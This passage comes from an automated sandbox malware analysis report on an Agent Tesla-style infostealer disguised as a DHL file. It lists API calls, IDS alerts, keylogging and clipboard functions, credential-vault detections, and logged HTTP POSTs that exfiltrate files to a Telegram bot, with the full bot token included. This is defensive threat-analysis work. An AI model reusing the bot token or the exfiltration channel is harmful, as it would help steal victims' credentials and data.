Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00969642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_00969642
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0096979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_0096979D
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00969B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	12_2_00969B2B
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00965C97 FindFirstFileW,FindNextFileW,FindClose,	12_2_00965C97
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_00406725 FindFirstFileExW,	15_2_00406725

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:49726 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:49729 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2851779 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil : 192.168.2.4:49726 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2851779 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil : 192.168.2.4:49729 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.4:49726 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.4:49729 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: POST /bot6900973449:AAF8wx9iUPZvdsBE34vKz_RL7sCyp2owiPA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd643dd612f127Host: api.telegram.orgContent-Length: 968Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6900973449:AAF8wx9iUPZvdsBE34vKz_RL7sCyp2owiPA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd643c7c9160bdHost: api.telegram.orgContent-Length: 968Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: ip-api.com

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\24sBT3Cffz.exe

Code function: 0_2_00AFCE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

0_2_00AFCE44

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot6900973449:AAF8wx9iUPZvdsBE34vKz_RL7sCyp2owiPA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd643dd612f127Host: api.telegram.orgContent-Length: 968Expect: 100-continueConnection: Keep-Alive

Source: DHL8900067.exe, 0000000C.00000002.2833119001.00000000048B5000.00000004.00000800.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640774673.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: DHL8900067.exe, 0000000C.00000002.2833119001.0000000004870000.00000004.00000800.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640774673.0000000004321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: DHL8900067.exe, DHL8900067.exe, 0000000F.00000002.3641301317.00000000052D1000.00000004.00000800.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3639705406.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640304755.0000000003D10000.00000004.08000000.00040000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640335348.0000000003D52000.00000040.00001000.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3639232868.0000000001244000.00000004.00000020.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640774673.0000000004321000.00000004.00000800.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3637238131.0000000000400000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: DHL8900067.exe, 0000000C.00000002.2833119001.0000000004821000.00000004.00000800.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640774673.00000000042D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: DHL8900067.exe, DHL8900067.exe, 0000000F.00000002.3641301317.00000000052D1000.00000004.00000800.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3639705406.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640304755.0000000003D10000.00000004.08000000.00040000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640335348.0000000003D52000.00000040.00001000.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3639232868.0000000001244000.00000004.00000020.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3637238131.0000000000400000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: DHL8900067.exe, DHL8900067.exe, 0000000F.00000002.3641301317.00000000052D1000.00000004.00000800.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3639705406.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640774673.00000000042D1000.00000004.00000800.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640304755.0000000003D10000.00000004.08000000.00040000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640335348.0000000003D52000.00000040.00001000.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3639232868.0000000001244000.00000004.00000020.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3637238131.0000000000400000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: DHL8900067.exe, 0000000C.00000002.2833119001.0000000004821000.00000004.00000800.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640774673.00000000042D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: DHL8900067.exe, 0000000C.00000002.2833119001.0000000004821000.00000004.00000800.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640774673.00000000042D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: DHL8900067.exe, 0000000C.00000002.2833119001.00000000048B5000.00000004.00000800.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640774673.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: DHL8900067.exe, DHL8900067.exe, 0000000F.00000002.3641301317.00000000052D1000.00000004.00000800.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3639705406.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640774673.00000000042D1000.00000004.00000800.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640304755.0000000003D10000.00000004.08000000.00040000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640335348.0000000003D52000.00000040.00001000.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3639232868.0000000001244000.00000004.00000020.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3637238131.0000000000400000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6900973449:AAF8wx9iUPZvdsBE34vKz_RL7sCyp2owiPA/
Source: DHL8900067.exe, 0000000C.00000002.2833119001.00000000048B5000.00000004.00000800.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3640774673.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6900973449:AAF8wx9iUPZvdsBE34vKz_RL7sCyp2owiPA/sendDocument

Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49729 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 12.2.DHL8900067.exe.4320000.5.raw.unpack, pmGIa7.cs	.Net Code: ovVNs
Source: 12.2.DHL8900067.exe.417058.0.raw.unpack, pmGIa7.cs	.Net Code: ovVNs
Source: 12.2.DHL8900067.exe.4043658.3.raw.unpack, pmGIa7.cs	.Net Code: ovVNs
Source: 14.2.DHL8900067.exe.3913658.1.raw.unpack, pmGIa7.cs	.Net Code: ovVNs
Source: 15.2.DHL8900067.exe.3a53658.4.raw.unpack, pmGIa7.cs	.Net Code: ovVNs

Source: C:\Users\user\Desktop\24sBT3Cffz.exe

Code function: 0_2_00AFEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00AFEAFF

Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AFED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		0_2_00AFED6A
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0096ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		12_2_0096ED6A

Source: C:\Users\user\Desktop\24sBT3Cffz.exe

0_2_00AFEAFF

Source: C:\Users\user\Desktop\24sBT3Cffz.exe

Code function: 0_2_00AEAA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

0_2_00AEAA57

Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B19576 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,6FDECB00,6FDEC2F0,SetCapture,ClientToScreen,6FDEC530,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		0_2_00B19576
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00989576 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,6FDECB00,6FDEC2F0,SetCapture,ClientToScreen,6FDEC530,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		12_2_00989576

System Summary

Malicious sample detected (through community Yara rule)

Source: 15.2.DHL8900067.exe.3a53658.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.DHL8900067.exe.3a40000.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.DHL8900067.exe.417058.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 14.2.DHL8900067.exe.3913658.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.DHL8900067.exe.3d10000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.DHL8900067.exe.417058.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.DHL8900067.exe.4320000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.DHL8900067.exe.417058.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.DHL8900067.exe.4043658.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.DHL8900067.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 14.2.DHL8900067.exe.3913658.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.DHL8900067.exe.4030000.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.DHL8900067.exe.3d10000.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.DHL8900067.exe.3a53658.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 14.2.DHL8900067.exe.3900000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 14.2.DHL8900067.exe.3900000.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.DHL8900067.exe.4320000.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.DHL8900067.exe.4030000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.DHL8900067.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.DHL8900067.exe.4360000.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.DHL8900067.exe.417058.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.DHL8900067.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.DHL8900067.exe.3a40000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.DHL8900067.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.DHL8900067.exe.3d50000.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.DHL8900067.exe.4043658.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0000000F.00000002.3639705406.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0000000F.00000002.3640304755.0000000003D10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0000000E.00000002.2803728167.0000000003900000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0000000C.00000002.2832772460.0000000004320000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0000000C.00000002.2832196987.0000000004030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0000000C.00000002.2829706410.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0000000F.00000002.3637238131.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Binary is likely a compiled AutoIt script file

Source: 24sBT3Cffz.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: 24sBT3Cffz.exe, 00000000.00000003.2598529546.0000000004181000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_1abdec8a-7
Source: 24sBT3Cffz.exe, 00000000.00000003.2598529546.0000000004181000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_f1dec353-7
Source: 24sBT3Cffz.exe, 00000000.00000002.2610129036.0000000000B42000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_d2d9b69d-5
Source: 24sBT3Cffz.exe, 00000000.00000002.2610129036.0000000000B42000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_aa6e0c1e-4
Source: DHL8900067.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: DHL8900067.exe, 0000000C.00000002.2830003919.00000000009B2000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_3b193d01-1
Source: DHL8900067.exe, 0000000C.00000002.2830003919.00000000009B2000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_88f96ef2-1
Source: DHL8900067.exe, 0000000E.00000000.2771473723.00000000009B2000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_1ec4fc9e-f
Source: DHL8900067.exe, 0000000E.00000000.2771473723.00000000009B2000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating 